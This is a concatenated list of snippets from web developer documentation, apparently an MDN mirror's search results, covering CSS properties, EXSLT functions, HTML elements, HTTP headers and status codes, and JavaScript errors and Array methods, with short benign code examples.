outside: path('m0.5,1 c0.5,1,0,0.7,0,0.3 a0.25,0.25,1,1,1,0.5,0.3 a0.25,0.25,1,1,1,1,0.3 c1,0.7,0.5,1,0.5,1 z'); /* <url> value */ shape-outside: url(image.png); /* <gradient> value */ shape-outside: linear-gradient(45deg, rgba(255, 255, 255, 0) 150px, red 150px); /* global values */ shape-outside: initial; shape-outside: inherit; shape-outside: unset; the shape-outside property is specified using the values from the list below, which define the float area for float elements.
<shape> - CSS: Cascading Style Sheets
WebCSSshape
syntax the <shape> data type is specified using the rect() function, which produces a region in the form of a rectangle.
text-decoration-style - CSS: Cascading Style Sheets
if the specified decoration has a specific semantic meaning, like a line-through line meaning that some text has been deleted, authors are encouraged to denote this meaning using an html tag, like <del> or <s>.
text-emphasis-color - CSS: Cascading Style Sheets
this value can also be set using the text-emphasis shorthand.
text-emphasis-position - CSS: Cascading Style Sheets
is mark positions for chinese, mongolian and japanese: preferred emphasis mark and ruby position language preferred position illustration horizontal vertical japanese over right korean mongolian chinese under right note: the text-emphasis-position cannot be set, and therefore are not reset either, using the text-emphasis shorthand property.
text-emphasis-style - CSS: Cascading Style Sheets
it can also be set, and reset, using the text-emphasis shorthand.
text-justify - CSS: Cascading Style Sheets
inter-word the text is justified by adding space between words (effectively varying word-spacing), which is most appropriate for languages that separate words using spaces, like english or korean.
text-overflow - CSS: Cascading Style Sheets
syntax the text-overflow property may be specified using one or two values.
text-rendering - CSS: Cascading Style Sheets
so this value can make text using those fonts look good.
text-size-adjust - CSS: Cascading Style Sheets
instead of laying out pages at the width of the device screen, they lay them out using a viewport that is much wider, usually 800 or 1000 pixels.
text-underline-offset - CSS: Cascading Style Sheets
the text-underline-offset css property sets the offset distance of an underline text decoration line (applied using text-decoration) from its original position.
matrix3d() - CSS: Cascading Style Sheets
a generic 3d affine transformation can't be represented using a cartesian-coordinate matrix, as translations are not linear transformations.
perspective() - CSS: Cascading Style Sheets
this transformation is not a linear transformation in ℝ3, and can't be represented using a cartesian-coordinate matrix.
rotate() - CSS: Cascading Style Sheets
this defaults to the center of the element, but you can set your own custom transform origin using the transform-origin property.
skew() - CSS: Cascading Style Sheets
cartesian coordinates on ℝ2 homogeneous coordinates on ℝℙ2 cartesian coordinates on ℝ3 homogeneous coordinates on ℝℙ3 1tan(ax)tan(ay)1 1tan(ax)0tan(ay)10001 1tan(ax)0tan(ay)10001 1tan(ax)00tan(ay)10000100001 [1 tan(ay) tan(ax) 1 0 0] examples using a single x-angle html <div>normal</div> <div class="skewed">skewed</div> css div { width: 80px; height: 80px; background-color: skyblue; } .skewed { transform: skew(10deg); /* equal to skewx(10deg) */ background-color: pink; } result using two angles html <div>normal</div> <div class="skewed">skewed</div> css div { width: 80px; height: 80px; background-color: skyblue...
translateX() - CSS: Cascading Style Sheets
cartesian coordinates on ℝ2 homogeneous coordinates on ℝℙ2 cartesian coordinates on ℝ3 homogeneous coordinates on ℝℙ3 a translation is not a linear transformation in ℝ2 and can't be represented using a cartesian-coordinate matrix.
translateY() - CSS: Cascading Style Sheets
cartesian coordinates on ℝ2 homogeneous coordinates on ℝℙ2 cartesian coordinates on ℝ3 homogeneous coordinates on ℝℙ3 a translation is not a linear transformation in ℝ2 and can't be represented using a cartesian-coordinate matrix.
transform-origin - CSS: Cascading Style Sheets
fset-keyword | y-offset | z-offset */ transform-origin: left 5px -3px; /* x-offset-keyword | y-offset-keyword | z-offset */ transform-origin: right bottom 2cm; /* y-offset-keyword | x-offset-keyword | z-offset */ transform-origin: bottom right 2cm; /* global values */ transform-origin: inherit; transform-origin: initial; transform-origin: unset; the transform-origin property may be specified using one, two, or three values, where each value represents an offset.
transform - CSS: Cascading Style Sheets
WebCSStransform
[ <angle> | <zero> ] )<rotatez()> = rotatez( [ <angle> | <zero> ] )<perspective()> = perspective( <length> )where <length-percentage> = <length> | <percentage> examples translating and rotating an element html <div>transformed element</div> css div { border: solid red; transform: translate(30px, 20px) rotate(20deg); width: 140px; height: 60px; } result more examples please see using css transforms and <transform-function> for more examples.
transition-property - CSS: Cascading Style Sheets
as such, you should avoid including any properties in the list that don't currently animate, as someday they might, causing unexpected results.
url() - CSS: Cascading Style Sheets
WebCSSurl()
the following are all valid and equivalent: <css_property>: url("https://example.com/image.png") <css_property>: url('https://example.com/image.png') <css_property>: url(https://example.com/image.png) path references the id of an svg shape -- circle, ellipse, line, path, polygon, polyline, or rect -- using the shape's geometry as the path.
Demos of open web technologies
2d graphics canvas blob sallad: an interactive blob using javascript and canvas (code demos) 3d raycaster processing.js p5js 3d on 2d canvas minipaint: image editor (source code) zen photon garden (source code) multi touch in canvas demo (source code) svg bubblemenu (visual effects and interaction) html transformations using foreignobject (visual effects and transforms) phonetics guide (interactive) 3d objects demo (interactive) blobular (interactive) video embedded in svg...
math:highest() - EXSLT
WebEXSLTmathhighest
xslt/xpath reference: xslt elements, exslt functions, xpath functions, xpath axes math:highest() returns the node in the specified node-set with the highest value (where the highest value calculated using math:max()).
math:lowest() - EXSLT
WebEXSLTmathlowest
xslt/xpath reference: xslt elements, exslt functions, xpath functions, xpath axes math:lowest() returns the node in the specified node-set with the lowest value (where the lowest value calculated using math:min()).
math:max() - EXSLT
WebEXSLTmathmax
to compute the maximum value of the node-set, the node set is sorted into descending order as it would be using xsl:sort() with a data type of number.
math:min() - EXSLT
WebEXSLTmathmin
to compute the minimum value of the node-set, the node set is sorted into ascending order as it would be using xsl:sort() with a data type of number.
Math (math) - EXSLT
WebEXSLTmath
math:highest()math:highest() returns the node in the specified node-set with the highest value (where the highest value calculated using math:max()).math:lowest()math:lowest() returns the node in the specified node-set with the lowest value (where the lowest value calculated using math:min()).math:max()math:max() returns the maximum value of a node-set.math:min()math:min() returns the minimum value of a node-set.
Regular expressions (regexp) - EXSLT
WebEXSLTregexp
xslt/xpath reference: xslt elements, exslt functions, xpath functions, xpath axes the exslt regular expressions package provides functions that allow testing, matching, and replacing text using javascript style regular expressions.
str:split() - EXSLT
WebEXSLTstrsplit
xslt/xpath reference: xslt elements, exslt functions, xpath functions, xpath axes str:split() splits a string using a pattern string to determine where the splits should occur, returning a node-set containing the resulting strings.
str:tokenize() - EXSLT
WebEXSLTstrtokenize
xslt/xpath reference: xslt elements, exslt functions, xpath functions, xpath axes str:tokenize() splits a string using a set of characters as delimiters that determine where the splits should occur, returning a node-set containing the resulting strings.
Strings (str) - EXSLT
WebEXSLTstr
str:concat()str:concat() returns a string containing all the string values in a node-set concatenated together.str:split()str:split() splits a string using a pattern string to determine where the splits should occur, returning a node-set containing the resulting strings.str:tokenize()str:tokenize() splits a string using a set of characters as delimiters that determine where the splits should occur, returning a node-set containing the resulting strings.
Event reference
using abortcontroller.abort().
Writing Web Audio API code that works in every browser - Developer guides
if it's using, for example, oscillatornode, you will have to wait until it is supported, or maybe, if you're really eager, hack in some replacement using scriptprocessornode, which allows you to write a node with callbacks that get called periodically, so that your javascript code generates or processes audio.
Creating and triggering events - Developer guides
note: optionally, we've also leveraged the "function expression" (instead of the "arrow function expression") so "this" will represent the element this.dispatchevent(new customevent('awesome', { bubbles: true, detail: { text: () => textarea.value } })) }); triggering built-in events this example demonstrates simulating a click (that is programmatically generating a click event) on a checkbox using dom methods.
Mouse gesture events - Developer guides
mozmagnifygesturestart the mozmagnifygesturestart event is sent when the user begins performing a "pinch" gesture, by using two fingers as the corners of a rectangle and moving them either closer together or farther apart.
Mutation events - Developer guides
sdescendant(element, removed)) { callback(); // allow garbage collection observer.disconnect(); observer = undefined; } }); }); }); observer.observe(document, { childlist: true, subtree: true }); }; usage you can register a listener for mutation events using element.addeventlistener as follows: element.addeventlistener("domnodeinserted", function (event) { // ...
XHTML - Developer guides
WebGuideHTMLXHTML
instead, even though the documents are written to conform to xml syntax rules, they are served with a content-type: text/html header — so browsers parse those documents using html parsers rather than xml parsers, which can cause a variety of sometimes-very-surprising problems.
HTML attribute: accept - HTML: Hypertext Markup Language
for example, a file picker that needs content that can be presented as an image, including both standard image formats and pdf files, might look like this: <input type="file" accept="image/*,.pdf"> using file inputs a basic example <form method="post" enctype="multipart/form-data"> <div> <label for="file">choose file to upload</label> <input type="file" id="file" name="file" multiple> </div> <div> <button>submit</button> </div> </form> div { margin-bottom: 10px; } this produces the following output: note: you can find this example on github too — see the source code, an...
HTML attribute: pattern - HTML: Hypertext Markup Language
specifying a pattern you can use the pattern attribute to specify a regular expression that the inputted value must match in order to be considered valid (see validating against a regular expression for a simple crash course on using regular expressions to validate inputs).
HTML attribute: required - HTML: Hypertext Markup Language
ensure the messaging is multi-faceted, such as thru text, color, markings, and attribute, so that all users understand the requirements whether they have color blindness, cognitive differences, or are using a screen reader.
<address>: The Contact Address element - HTML: Hypertext Markup Language
WebHTMLElementaddress
implicit aria role no corresponding role permitted aria roles any dom interface htmlelement prior to gecko 2.0 (firefox 4), gecko implemented this element using the htmlspanelement interface attributes this element only includes the global attributes.
<article>: The Article Contents element - HTML: Hypertext Markup Language
WebHTMLElementarticle
the publication date and time of an <article> element can be described using the datetime attribute of a <time> element.
<aside>: The Aside element - HTML: Hypertext Markup Language
WebHTMLElementaside
examples using <aside> this example uses <aside> to mark up a paragraph in an article.
<bgsound>: The Background Sound element (obsolete) - HTML: Hypertext Markup Language
WebHTMLElementbgsound
in order to embed audio in a web page, you should be using the <audio> element.
<blockquote>: The Block Quotation element - HTML: Hypertext Markup Language
a url for the source of the quotation may be given using the cite attribute, while a text representation of the source can be given using the <cite> element.
<caption>: The Table Caption element - HTML: Hypertext Markup Language
WebHTMLElementcaption
the <caption> element should be styled using the css properties caption-side and text-align.
<code>: The Inline Code element - HTML: Hypertext Markup Language
WebHTMLElementcode
by default, the content text is displayed using the user agent's default monospace font.
<col> - HTML: Hypertext Markup Language
WebHTMLElementcol
<col> allows styling columns using css, but only a few properties will have an effect on the column (see the css 2.1 specification for a list).
<colgroup> - HTML: Hypertext Markup Language
WebHTMLElementcolgroup
the descendant <col> elements may override this value using their own align attribute.
<content>: The Shadow DOM Content Placeholder element (obsolete) - HTML: Hypertext Markup Language
WebHTMLElementcontent
example here is a simple example of using the <content> element.
<del>: The Deleted Text element - HTML: Hypertext Markup Language
WebHTMLElementdel
it can be made to be announced by using the css content property, along with the ::before and ::after pseudo-elements.
<dir>: The Directory element (obsolete) - HTML: Hypertext Markup Language
WebHTMLElementdir
usage note: do not use this attribute, as it has been deprecated: the <dir> element should be styled using css.
<dt>: The Description Term element - HTML: Hypertext Markup Language
WebHTMLElementdt
the subsequent <dd> (description details) element provides the definition or other related text associated with the term specified using <dt>.
<em>: The Emphasis element - HTML: Hypertext Markup Language
WebHTMLElementem
a person or software reading the text would pronounce the words in italics with an emphasis, using verbal stress.
<embed>: The Embed External Content element - HTML: Hypertext Markup Language
WebHTMLElementembed
this context shift can be confusing and time-consuming, especially if the embed element contains interactive content like video or audio.
<frame> - HTML: Hypertext Markup Language
WebHTMLElementframe
using the <frame> element is not encouraged because of certain disadvantages such as performance problems and lack of accessibility for users with screen readers.
<frameset> - HTML: Hypertext Markup Language
WebHTMLElementframeset
note: because the use of frames is now discouraged in favor of using <iframe>, this element is not typically used by modern web sites.
<hgroup> - HTML: Hypertext Markup Language
WebHTMLElementhgroup
so the html5 (w3c) specification provides advice on how to mark up subheadings, subtitles, alternative titles and taglines without using <hgroup>.
<hr>: The Thematic Break (Horizontal Rule) element - HTML: Hypertext Markup Language
WebHTMLElementhr
while it may still be displayed as a horizontal rule in visual browsers, this element is now defined in semantic terms, rather than presentational terms, so if you wish to draw a horizontal line, you should do so using appropriate css.
<html>: The HTML Document / Root element - HTML: Hypertext Markup Language
WebHTMLElementhtml
see using the application cache for details.
<input type="radio"> - HTML: Hypertext Markup Language
WebHTMLElementinputradio
using radio inputs we already covered the fundamentals of radio buttons above.
<ins> - HTML: Hypertext Markup Language
WebHTMLElementins
it can be made to be announced by using the css content property, along with the ::before and ::after pseudo-elements.
<keygen> - HTML: Hypertext Markup Language
WebHTMLElementkeygen
(note that only a subset of the curves named there may actually be supported in any particular browser.) if the keyparams parameter string is not a recognized curve name string, then a curve is chosen according to the user's chosen key strength (low, medium, high), using the curve named "secp384r1" for high, and the curve named "secp256r1" for medium keys.
<li> - HTML: Hypertext Markup Language
WebHTMLElementli
in menus and unordered lists, list items are usually displayed using bullet points.
<main> - HTML: Hypertext Markup Language
WebHTMLElementmain
prefer using the <main> element over declaring role="main", unless there are legacy browser support concerns.
<map> - HTML: Hypertext Markup Language
WebHTMLElementmap
examples <map name="primary"> <area shape="circle" coords="75,75,75" href="left.html"> <area shape="circle" coords="275,75,75" href="right.html"> </map> <img usemap="#primary" src="https://udn.realityripple.com/samples/6a/7e559101b3.png" alt="350 x 150 pic"> result expected live example output the live example above should appear similar to the following images (when using your keyboard tab key): for the left.html link: for the right.html link specifications specification status comment html living standardthe definition of '<map>' in that specification.
<marquee>: The Marquee element (Obsolete) - HTML: Hypertext Markup Language
WebHTMLElementmarquee
you can control what happens when the text reaches the edges of its content area using its attributes.
<menu> - HTML: Hypertext Markup Language
WebHTMLElementmenu
context menus are then attached to the element they're activated from using either the associated element's contextmenu attribute or, for button-activated menus attached to <button> elements, the menu attribute.
<multicol>: The HTML Multi-Column Layout element (Obsolete) - HTML: Hypertext Markup Language
WebHTMLElementmulticol
in order to implement a multi-column layout, you should be using the regular html elements, like <div> in conjunction with css columns.
<ol>: The Ordered List element - HTML: Hypertext Markup Language
WebHTMLElementol
examples simple example <ol> <li>fee</li> <li>fi</li> <li>fo</li> <li>fum</li> </ol> the above html will output: using roman numeral type <ol type="i"> <li>introduction</li> <li>list of greivances</li> <li>conclusion</li> </ol> the above html will output: using the start attribute <p>finishing places of contestants not in the winners’ circle:</p> <ol start="4"> <li>speedwalk stu</li> <li>saunterin’ sam</li> <li>slowpoke rodriguez</li> </ol> the above html will output: nesting lists <...
<rb>: The Ruby Base element - HTML: Hypertext Markup Language
WebHTMLElementrb
usage notes ruby annotations are for showing pronunciation of east asian characters, like using japanese furigana or taiwanese bopomofo characters.
<s> - HTML: Hypertext Markup Language
WebHTMLElements
it can be made to be announced by using the css content property, along with the ::before and ::after pseudo-elements.
<samp>: The Sample Output element - HTML: Hypertext Markup Language
WebHTMLElementsamp
its contents are typically rendered using the browser's default monospaced font (such as courier or lucida console).
<shadow>: The obsolete Shadow Root element - HTML: Hypertext Markup Language
WebHTMLElementshadow
example here is a simple example of using the <shadow> element.
<slot> - HTML: Hypertext Markup Language
WebHTMLElementslot
in addition, you can find an explanation at using templates and slots.
<source>: The Media or Image Source element - HTML: Hypertext Markup Language
WebHTMLElementsource
when used in the context of a <picture> element, the browser will fall back to using the image specified by the <picture> element's <img> child if it is unable to find a suitable image to use after examing every provided <source>.
<span> - HTML: Hypertext Markup Language
WebHTMLElementspan
it can be used to group elements for styling purposes (using the class or id attributes), or because they share attribute values, such as lang.
<strike> - HTML: Hypertext Markup Language
WebHTMLElementstrike
try to avoid using it.
<style>: The Style Information element - HTML: Hypertext Markup Language
WebHTMLElementstyle
in general, it is better to put your styles in external stylesheets and apply them using <link> elements.
<summary>: The Disclosure Summary element - HTML: Hypertext Markup Language
WebHTMLElementsummary
nvoice: $75.30</li> <li>due date: 5/6/19</li> </ol> </details> summaries as headings you can use heading elements in <summary>, like this: <details open> <summary><h4>overview</h4></summary> <ol> <li>cash on hand: $500.00</li> <li>current invoice: $75.30</li> <li>due date: 5/6/19</li> </ol> </details> this currently has some spacing issues that could be addressed using css.
<th> - HTML: Hypertext Markup Language
WebHTMLElementth
maroon = "#800000" navy = "#000080" red = "#ff0000" blue = "#0000ff" purple = "#800080" teal = "#008080" fuchsia = "#ff00ff" aqua = "#00ffff" note: do not use this attribute, as it is non-standard and only implemented in some versions of microsoft internet explorer: the <th> element should be styled using css.
<title>: The Document Title element - HTML: Hypertext Markup Language
WebHTMLElementtitle
this is because navigating into a page to determine its content can be a time consuming and potentially confusing process.
<track>: The Embed Text Track element - HTML: Hypertext Markup Language
WebHTMLElementtrack
if the track is associated with a media element, using the <track> element as a child of the <audio> or <video> element, the cuechange event is also sent to the htmltrackelement.
<ul>: The Unordered List element - HTML: Hypertext Markup Language
WebHTMLElementul
the bullet style is not defined in the html description of the page, but in its associated css, using the list-style-type property.
accesskey - HTML: Hypertext Markup Language
accesskey values that rely on numbers may be confusing to individuals experiencing cognitive concerns, where the number doesn't have a logical association with the functionality it triggers.
data-* - HTML: Hypertext Markup Language
for example, a space-ship "sprite" in a game could be a simple <img> element with a class attribute and several data-* attributes: <img class="spaceship cruiserx3" src="shipx3.png" data-ship-id="324" data-weapons="laseri laserii" data-shields="72%" data-x="414354" data-y="85160" data-z="31940" onclick="spaceships[this.dataset.shipid].blasted()"> for a more in-depth tutorial about using html data attributes, see using data attributes.
dropzone - HTML: Hypertext Markup Language
the dropzone global attribute is an enumerated attribute indicating what types of content can be dropped on an element, using the html drag and drop api.
is - HTML: Hypertext Markup Language
the is global attribute allows you to specify that a standard html element should behave like a defined custom built-in element (see using custom elements for more details).
itemref - HTML: Hypertext Markup Language
properties that are not descendants of an element with the itemscope attribute can be associated with an item using the global attribute itemref.
slot - HTML: Hypertext Markup Language
for examples, see our using templates and slots guide.
style - HTML: Hypertext Markup Language
typically it shouldn't be used to hide irrelevant information; this should be done using the hidden attribute.
Link types: dns-prefetch - HTML: Hypertext Markup Language
see using dns-prefetch for more details.
Link types - HTML: Hypertext Markup Language
in html, link types indicate the relationship between two documents, in which one links to the other using an <a>, <area>, <form>, or <link> element.
HTML: Hypertext Markup Language
WebHTML
related topics applying color to html elements using css this article covers most of the ways you use css to add color to html content, listing what parts of html documents can be colored and what css properties to use when doing so.
Basics of HTTP - HTTP
this article explains how this is accomplished using the content-type header and the mime standard.
Reason: CORS header 'Access-Control-Allow-Origin' does not match 'xyz' - HTTP
if the service your code is accessing using a cors request is under your control, make sure that it's configured to include your origin in its access-control-allow-origin header, and that only one such header is included in responses.
Reason: invalid token ‘xyz’ in CORS header ‘Access-Control-Allow-Headers’ - HTTP
it may also be worth checking to ensure that the user agent or http library you're using on the client is up-to-date.
Reason: invalid token ‘xyz’ in CORS header ‘Access-Control-Allow-Methods’ - HTTP
it may also be worth checking to ensure that the user agent or http library you're using on the client is up-to-date.
Reason: Did not find method in CORS header ‘Access-Control-Allow-Methods’ - HTTP
this header specifies a comma-delineated list of the http methods which may be used when using cors to access the url specified in the request; if the request is using any other method, this error occurs.
Reason: missing token ‘xyz’ in CORS header ‘Access-Control-Allow-Headers’ from CORS preflight channel - HTTP
to fix this, the server needs to be updated so that it allows the indicated header, or you need to avoid using that header.
Cross-Origin Resource Policy (CORP) - HTTP
exercise caution using this header in a production environment.
Access-Control-Expose-Headers - HTTP
by default, only the 7 cors-safelisted response headers are exposed: cache-control content-language content-length content-type expires last-modified pragma if you want clients to be able to access other headers, you have to list them using the access-control-expose-headers header.
Alt-Svc - HTTP
WebHTTPHeadersAlt-Svc
multiple entries can be specified in a single alt-svc header using comma as separator.
Content-Disposition - HTTP
an example of an html form posted using the multipart/form-data format that makes use of the content-disposition header: post /test.html http/1.1 host: example.org content-type: multipart/form-data;boundary="boundary" --boundary content-disposition: form-data; name="field1" value1 --boundary content-disposition: form-data; name="field2"; filename="example.txt" value2 --boundary-- specifications specification title ...
CSP: require-sri-for - HTTP
examples if you set your site to require sri for script and styles using this directive: content-security-policy: require-sri-for script style <script> elements like the following will be loaded as they use a valid integrity attribute.
Cross-Origin-Resource-Policy - HTTP
exercise caution using this header in a production environment.
DNT - HTTP
WebHTTPHeadersDNT
examples reading do not track status from javascript the user's dnt preference can also be read from javascript using the navigator.donottrack property: navigator.donottrack; // "0" or "1" specifications specification status comment tracking preference expression (dnt)the definition of 'dnt header field for http requests' in that specification.
Early-Data - HTTP
header type request header forbidden header name no syntax early-data: 1 examples get /resource http/1.0 host: example.com early-data: 1 specifications specification title rfc 8470, section 5.1: the early-data header field using early data in http ...
Feature-Policy: fullscreen - HTTP
this directive allows or prevents cross-origin frames from using fullscreen mode.
Large-Allocation - HTTP
some legacy addons can prevent firefox from using this new, faster, multiprocess architecture.
Public-Key-Pins - HTTP
max-age=<expire-time> the time, in seconds, that the browser should remember that this site is only to be accessed using one of the defined keys.
Referrer-Policy - HTTP
there is effort from browsers in moving to a stricter default value, namely strict-origin-when-cross-origin (see https://github.com/whatwg/fetch/pull/952), consider using this value (or a stricter one), if possible, when changing the referrer-policy.
Set-Cookie - HTTP
if a cookie is needed to be sent cross-origin, opt out of the samesite restriction using the none value.
Trailer - HTTP
WebHTTPHeadersTrailer
examples chunked transfer encoding using a trailing header in this example, the expires header is used at the end of the chunked message and serves as a trailing header.
User-Agent - HTTP
please read browser detection using the user agent for why serving different web pages or services to different browsers is usually a bad idea.
Vary - HTTP
WebHTTPHeadersVary
examples dynamic serving when using the vary: user-agent header, caching servers should consider the user agent when deciding whether to serve the page from cache.
HTTP Messages - HTTP
WebHTTPMessages
conclusion http messages are the key in using http; their structure is simple, and they are highly extensible.
GET - HTTP
WebHTTPMethodsGET
requests using get should only retrieve data.
POST - HTTP
WebHTTPMethodsPOST
request has body yes successful response has body yes safe no idempotent no cacheable only if freshness information is included allowed in html forms yes syntax post /test example a simple form using the default application/x-www-form-urlencoded content type: post /test http/1.1 host: foo.example content-type: application/x-www-form-urlencoded content-length: 27 field1=value1&field2=value2 a form using the multipart/form-data content type: post /test http/1.1 host: foo.example content-type: multipart/form-data;boundary="boundary" --boundary content-disposition: form-data; name="field1" ...
HTTP resources and specifications - HTTP
modern apis for application are defines using the restful pattern nowadays.
404 Not Found - HTTP
WebHTTPStatus404
apache servers can be configured using an .htaccess file and a code snippet like the following example.
406 Not Acceptable - HTTP
WebHTTPStatus406
instead of responding using this error code, which would be cryptic for the end user and difficult to fix, servers ignore the relevant header and serve an actual page to the user.
425 Too Early - HTTP
WebHTTPStatus425
status 425 too early specifications specification title rfc 8470, section 5.2: 425: early data using early data in http ...
426 Upgrade Required - HTTP
WebHTTPStatus426
the http 426 upgrade required client error response code indicates that the server refuses to perform the request using the current protocol but might be willing to do so after the client upgrades to a different protocol.
511 Network Authentication Required - HTTP
WebHTTPStatus511
they often identify clients who have not done so using their media access control (mac) addresses.
HTTP
WebHTTP
custom proprietary headers can be added using the x- prefix; others in an iana registry, whose original content was defined in rfc 4229.
Introduction - JavaScript
this guide includes some javascript features which are only currently available in the latest versions of firefox, so using the most recent version of firefox is recommended.
Meta programming - JavaScript
the result of object.getownpropertydescriptor(target) can be applied to target using object.defineproperty and will not throw an exception.
The legacy Iterator protocol - JavaScript
for future-facing usages, consider using for..of loops and the iterator protocol.
Deprecated and obsolete features - JavaScript
warning: using these properties can result in problems, since browser extensions can modify them.
ReferenceError: can't access lexical declaration`X' before initialization - JavaScript
examples invalid cases in this case, the variable "foo" is redeclared in the block statement using let.
TypeError: property "x" is non-configurable and can't be deleted - JavaScript
examples attempting to delete non-configurable properties non-configurable properties are not super common, but they can be created using object.defineproperty() or object.freeze().
TypeError: can't redefine non-configurable property "x" - JavaScript
however, for example, when using object.defineproperty(), the property isn't configurable by default.
TypeError: cyclic object value - JavaScript
the snippet below illustrates how to find and filter (thus causing data loss) a cyclic reference by using the replacer parameter of json.stringify(): const getcircularreplacer = () => { const seen = new weakset(); return (key, value) => { if (typeof value === "object" && value !== null) { if (seen.has(value)) { return; } seen.add(value); } return value; }; }; json.stringify(circularreference, getcircularreplacer()); ...
TypeError: invalid assignment to const "x" - JavaScript
in javascript, constants are declared using the const keyword.
SyntaxError: Malformed formal parameter - JavaScript
xamples invalid cases var f = function('x y', 'return x + y;'); // syntaxerror (missing a comma) var f = function('x,', 'return x;'); // syntaxerror (extraneous comma) var f = function(37, "alert('ok')"); // syntaxerror (numbers can't be argument names) valid cases var f = function('x, y', 'return x + y;'); // correctly punctuated var f = function('x', 'return x;'); // if you can, avoid using function - this is much faster var f = function(x) { return x; }; ...
SyntaxError: missing : after property id - JavaScript
the javascript exception "missing : after property id" occurs when objects are created using the object initializer syntax.
SyntaxError: missing } after function body - JavaScript
examples forgotten closing curly bracket oftentimes, there is a missing curly bracket in your function code: var charge = function() { if (sunny) { usesolarcells(); } else { promptbikeride(); }; correct would be: var charge = function() { if (sunny) { usesolarcells(); } else { promptbikeride(); } }; it can be more obscure when using iife, closures, or other constructs that use a lot of different parenthesis and curly brackets, for example.
SyntaxError: missing = in const declaration - JavaScript
in javascript, constants are declared using the const keyword.
SyntaxError: missing name after . operator - JavaScript
for computed property access, you might need to change your property access from using a dot to using square brackets.
SyntaxError: missing ; before statement - JavaScript
however, oftentimes, this error is only a consequence of another error, like not escaping strings properly, or using var wrongly.
TypeError: can't delete non-configurable array element - JavaScript
however, for example, when using object.defineproperty(), the property isn't configurable by default.
TypeError: "x" is not a constructor - JavaScript
there are many global objects, like string or array, which are constructable using new.
TypeError: "x" is read-only - JavaScript
examples invalid cases read-only properties are not super common, but they can be created using object.defineproperty() or object.freeze().
SyntaxError: "x" is a reserved identifier - JavaScript
var colorenum = { red: 0, green: 1, blue: 2 }; var list = ["potatoes", "rice", "fries"]; update older browsers if you are using an older browser that does not yet implement let or class, for example, you should update to a more recent browser version that does support these new language features.
JavaScript error reference - JavaScript
are deprecatedsyntaxerror: "use strict" not allowed in function with non-simple parameterssyntaxerror: "x" is a reserved identifiersyntaxerror: json.parse: bad parsingsyntaxerror: malformed formal parametersyntaxerror: unexpected tokensyntaxerror: using //@ to indicate sourceurl pragmas is deprecated.
Default parameters - JavaScript
it also means that variables declared inside the function body using var will mask parameters of the same name, instead of the usual behavior of duplicate var declarations having no effect.
arguments[@@iterator]() - JavaScript
syntax arguments[symbol.iterator]() examples iteration using for...of loop function f() { // your browser must support for..of loop // and let-scoped variables in for loops for (let letter of arguments) { console.log(letter); } } f('w', 'y', 'k', 'o', 'p'); specifications specification ecmascript (ecma-262)the definition of 'createunmappedargumentsobject' in that specification.
arguments.length - JavaScript
examples using arguments.length in this example we define a function that can add two or more numbers together.
Array() constructor - JavaScript
examples array literal notation arrays can be created using the literal notation: let fruits = ['apple', 'banana']; console.log(fruits.length); // 2 console.log(fruits[0]); // "apple" array constructor with a single parameter arrays can be created using a constructor with a single number parameter.
Array.prototype.reduceRight() - JavaScript
* * h(x) = f(g(x)) * * function execution happens right to left * * https://en.wikipedia.org/wiki/function_composition */ const compose = (...args) => (value) => args.reduceright((acc, fn) => fn(acc), value) // increment passed number const inc = (n) => n + 1 // doubles the passed value const double = (n) => n * 2 // using composition function console.log(compose(double, inc)(2)); // 6 // using composition function console.log(compose(inc, double)(2)); // 5 specifications specification ecmascript (ecma-262)the definition of 'array.prototype.reduceright' in that specification.
Array.prototype.copyWithin() - JavaScript
return o; }, configurable: true, writable: true }); } examples using copywithin [1, 2, 3, 4, 5].copywithin(-2) // [1, 2, 3, 1, 2] [1, 2, 3, 4, 5].copywithin(0, 3) // [4, 5, 3, 4, 5] [1, 2, 3, 4, 5].copywithin(0, 3, 4) // [4, 2, 3, 4, 5] [1, 2, 3, 4, 5].copywithin(-2, -3, -1) // [1, 2, 3, 3, 4] [].copywithin.call({length: 5, 3: 1}, 0, 3) // {0: 1, 3: 1, length: 5} // es2015 typed arrays are subclasses of array var i32a = new int32array([1, 2, 3, 4, 5]) i32a.
Array.prototype.entries() - JavaScript
examples iterating with index and element const a = ['a', 'b', 'c']; for (const [index, element] of a.entries()) console.log(index, element); // 0 'a' // 1 'b' // 2 'c' using a for…of loop var a = ['a', 'b', 'c']; var iterator = a.entries(); for (let e of iterator) { console.log(e); } // [0, 'a'] // [1, 'b'] // [2, 'c'] specifications specification ecmascript (ecma-262)the definition of 'array.prototype.entries' in that specification.
Array.prototype.every() - JavaScript
function isbigenough(element, index, array) { return element >= 10; } [12, 5, 8, 130, 44].every(isbigenough); // false [12, 54, 18, 130, 44].every(isbigenough); // true using arrow functions arrow functions provide a shorter syntax for the same test.
Array.prototype.fill() - JavaScript
examples using fill [1, 2, 3].fill(4) // [4, 4, 4] [1, 2, 3].fill(4, 1) // [1, 4, 4] [1, 2, 3].fill(4, 1, 2) // [1, 4, 3] [1, 2, 3].fill(4, 1, 1) // [1, 2, 3] [1, 2, 3].fill(4, 3, 3) // [1, 2, 3] [1, 2, 3].fill(4, -3, -2) // [4, 2, 3] [1, 2, 3].fill(4, nan, nan) // [1, 2, 3] [1, 2, 3].fill(4, 3, 5) // [1, 2, 3] array(3).fill(4) ...
Array.prototype.findIndex() - JavaScript
function isprime(num) { for (let i = 2; num > i; i++) { if (num % i == 0) { return false; } } return num > 1; } console.log([4, 6, 8, 9, 12].findindex(isprime)); // -1, not found console.log([4, 6, 7, 9, 12].findindex(isprime)); // 2 (array[2] is 7) find index using arrow function the following example finds the index of a fruit using an arrow function: const fruits = ["apple", "banana", "cantaloupe", "blueberries", "grapefruit"]; const index = fruits.findindex(fruit => fruit === "blueberries"); console.log(index); // 3 console.log(fruits[index]); // blueberries specifications specification ecmascript (ecma-262)the definition of ...
Array.prototype.flat() - JavaScript
flatdeep(val, d - 1) : val), []) : arr.slice(); }; flatdeep(arr, infinity); // [1, 2, 3, 4, 5, 6] use a stack // non recursive flatten deep using a stack // note that depth control is hard/inefficient as we will need to tag each value with its own depth // also possible w/o reversing on shift/unshift, but array ops on the end tends to be faster function flatten(input) { const stack = [...input]; const res = []; while(stack.length) { // pop value from stack const next = stack.pop(); if(array.isarray(next)) { // push ...
Array.prototype.includes() - JavaScript
the first element to be searched is found at fromindex for positive values of fromindex, or at arr.length + fromindex for negative values of fromindex (using the absolute value of fromindex as the number of elements from the end of the array at which to start the search).
Array.isArray() - JavaScript
